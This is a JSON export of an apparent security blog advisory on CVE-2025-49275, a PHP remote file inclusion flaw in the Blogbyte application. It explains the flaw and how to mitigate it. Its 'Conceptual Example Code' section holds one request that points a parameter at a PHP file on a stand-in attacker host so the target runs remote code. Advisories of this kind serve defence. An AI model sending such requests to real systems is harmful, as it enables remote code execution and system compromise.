{"id":54070,"date":"2025-06-22T17:18:03","date_gmt":"2025-06-22T17:18:03","guid":{"rendered":""},"modified":"2025-08-07T11:20:59","modified_gmt":"2025-08-07T17:20:59","slug":"cve-2025-49275-php-remote-file-inclusion-vulnerability-in-unfoldwp-blogbyte","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-49275-php-remote-file-inclusion-vulnerability-in-unfoldwp-blogbyte\/","title":{"rendered":"<strong>CVE-2025-49275: PHP Remote File Inclusion Vulnerability in Unfoldwp Blogbyte<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>Unfoldwp&#8217;s Blogbyte, a popular PHP application, has been found to contain a significant security vulnerability identified as CVE-2025-49275. This particular issue is due to an improper control of filename for include\/require statement in PHP programming, more commonly known as &#8216;PHP Remote File Inclusion&#8217;. The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-30220-high-severity-xml-external-entity-xxe-vulnerability-in-geoserver-geotools-and-geonetwork\/\"  data-wpil-monitor-id=\"60584\">severity of this vulnerability<\/a> is high as it could potentially lead to a system compromise or data leakage. It is crucial for users and administrators of Blogbyte versions up to and including 1.1.1 to understand the implications of this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-39486-rankie-sql-injection-vulnerability-and-mitigation-measures\/\"  data-wpil-monitor-id=\"64837\">vulnerability and take immediate steps to mitigate<\/a> its risk.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-49275<br \/>\nSeverity: High (8.1 CVSS Score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6435-firefox-vulnerability-leading-to-potential-system-compromise-and-data-leakage\/\"  data-wpil-monitor-id=\"64836\">System compromise or data<\/a> leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-2600792432\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Unfoldwp Blogbyte | up to and including 1.1.1<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-34711-improper-uri-validation-vulnerability-in-geoserver\/\"  data-wpil-monitor-id=\"60405\">vulnerability stems from the improper<\/a> control of filenames for include\/require statements in PHP programs. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-41666-watchdog-file-replacement-vulnerability-allowing-remote-access-and-control\/\"  data-wpil-monitor-id=\"66648\">allows an attacker to manipulate the file<\/a> that is included at runtime. By manipulating the filename, an attacker can cause the application to include a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32595-persistent-php-remote-file-inclusion-vulnerability-in-gavias-krowd\/\"  data-wpil-monitor-id=\"60397\">file from a remote server which can contain malicious PHP<\/a> code. This code is then executed in the context of the application, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-40912-critical-vulnerability-in-cryptx-for-perl-allows-potential-system-compromise\/\"  data-wpil-monitor-id=\"60815\">allowing the attacker to compromise the system<\/a> or leak data.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-1747418575\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here&#8217;s a conceptual example of how the vulnerability might be exploited. This example is a simple HTTP request where the attacker has manipulated the &#8216;page&#8217; parameter to include a malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48125-high-risk-php-remote-file-inclusion-vulnerability-in-wp-event-manager\/\"  data-wpil-monitor-id=\"61888\">PHP file from a remote<\/a> server.<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/index.php?page=http:\/\/malicious.example.com\/malicious_file.php HTTP\/1.1\nHost: target.example.com<\/code><\/pre>\n<p>In this example, the PHP application would include and execute the malicious_file.php from the malicious.example.com server, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5901-buffer-overflow-vulnerability-in-totolink-t10-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"60530\">potentially leading to a system<\/a> compromise or data leakage.<\/p>\n<p><strong>Mitigation<\/strong><\/p>\n<p>For users and administrators of Unfoldwp Blogbyte, immediate steps should be taken to mitigate this vulnerability. The preferred mitigation method is to apply the vendor-supplied patch for this issue. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. However, these measures only serve as a temporary fix and may not completely eliminate the risk. Therefore, it is strongly recommended to apply the vendor patch as soon as feasible.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview Unfoldwp&#8217;s Blogbyte, a popular PHP application, has been found to contain a significant security vulnerability identified as CVE-2025-49275. This particular issue is due to an improper control of filename for include\/require statement in PHP programming, more commonly known as &#8216;PHP Remote File Inclusion&#8217;. The severity of this vulnerability is high as it could potentially [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-54070","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/54070","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=54070"}],"version-history":[{"count":8,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/54070\/revisions"}],"predecessor-version":[{"id":60639,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/54070\/revisions\/60639"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=54070"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=54070"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=54070"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=54070"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=54070"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=54070"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=54070"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=54070"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=54070"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}